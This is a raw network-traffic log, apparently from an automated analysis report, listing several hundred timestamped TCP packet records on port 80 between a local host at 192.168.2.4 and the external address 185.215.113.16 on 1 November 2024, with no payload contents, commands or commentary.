Nov 1, 2024 08:51:38.044548035 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044563055 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044588089 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044596910 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044600010 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044637918 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044652939 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044666052 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044682026 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044686079 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044698000 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044703960 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044717073 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044730902 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044730902 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044734955 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044753075 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044754028 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044768095 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044773102 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044790030 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044791937 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044806004 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044814110 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044821024 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044823885 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044836998 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044851065 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044857025 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044862032 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044872999 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044883966 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044888020 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044893980 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044907093 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044914961 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044924021 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044933081 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044939041 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044944048 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044953108 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044958115 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044970036 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.044975042 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044985056 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.044989109 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045005083 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045010090 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045021057 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045022964 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045038939 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045039892 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045059919 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045063019 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045073032 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045074940 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045093060 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045094013 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045111895 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045114994 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045128107 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045130014 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045150042 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045155048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045167923 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045171976 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045187950 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045197010 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045202971 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045206070 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045219898 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045226097 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045237064 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045238018 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045252085 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045260906 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045269966 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045277119 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045289993 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045293093 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045309067 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045316935 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045325994 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045329094 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045341969 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045344114 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045356989 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045365095 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045372963 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045376062 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045394897 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045398951 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045404911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045416117 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045430899 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045438051 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045450926 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045450926 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045468092 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045471907 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045484066 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045485020 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045501947 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045504093 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045517921 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045517921 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045537949 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045540094 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045562029 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045562983 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045578003 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045579910 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045597076 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045612097 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045615911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045628071 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045636892 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045644999 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045644999 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045660973 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045666933 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045676947 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045681000 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045692921 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045700073 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045708895 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045708895 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045726061 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045730114 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045742035 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045748949 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045758963 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045763016 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045777082 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045783997 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045792103 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045793056 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045809031 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045818090 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045824051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045830011 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045839071 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045840979 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045857906 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045866013 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045874119 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045875072 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045892954 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045898914 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045908928 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045917988 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045941114 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045953989 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045954943 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.045964003 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045970917 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.045989037 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046004057 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046004057 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046015024 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046020985 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046035051 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046037912 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046045065 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046055079 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046062946 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046080112 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046083927 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046096087 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046103001 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046113014 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046123981 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046129942 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046133995 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046147108 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046150923 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046164036 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046173096 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046179056 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046191931 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046196938 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046206951 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046225071 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046242952 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046288013 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046303034 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046314955 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046329975 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046344995 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046355963 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046367884 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046401978 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046417952 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046433926 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046437979 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046449900 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046452045 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046463966 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046467066 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046479940 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046484947 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046497107 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046504021 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046556950 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046556950 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046560049 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046577930 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046591997 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046607018 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046621084 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046631098 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046633005 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046647072 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046653032 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046668053 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046670914 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046684027 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046688080 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046700954 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046703100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046720028 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046725988 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046736956 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046756983 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046766996 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046768904 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046770096 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046770096 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046773911 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046791077 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046797991 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046799898 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046803951 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046808004 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046811104 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046818018 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046823978 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046825886 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046829939 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046830893 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046838999 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046849966 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046854019 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046866894 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046870947 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046885014 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046888113 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046905041 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046907902 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046916962 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046921015 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046933889 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046937943 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046948910 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046953917 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046962976 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046971083 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.046982050 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046993971 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.046998024 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047018051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047020912 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047033072 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047035933 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047049046 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047049046 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047065020 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047070980 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047080994 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047090054 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047096968 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047105074 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047112942 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047118902 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047133923 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047138929 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047149897 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047156096 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047167063 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047169924 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047184944 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047188044 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047200918 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047204971 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047216892 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047221899 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047235012 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047240019 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047252893 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047256947 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047267914 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047271967 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047285080 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047291994 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047302961 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047307014 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047327042 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047331095 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047342062 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047346115 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047363043 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047363043 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047379971 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047380924 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047398090 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047401905 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047414064 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047416925 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047430992 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047431946 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047446012 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047452927 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047462940 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047472000 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047478914 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047487020 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047496080 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047503948 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047513008 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047522068 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047528028 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047538996 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047543049 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047559023 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047563076 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047574043 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047581911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047590971 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047600031 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047607899 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047617912 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047622919 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047637939 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047641039 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047653913 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047653913 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047668934 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047671080 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047687054 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047691107 CET	57777	80	192.168.2.4	185.215.113.16
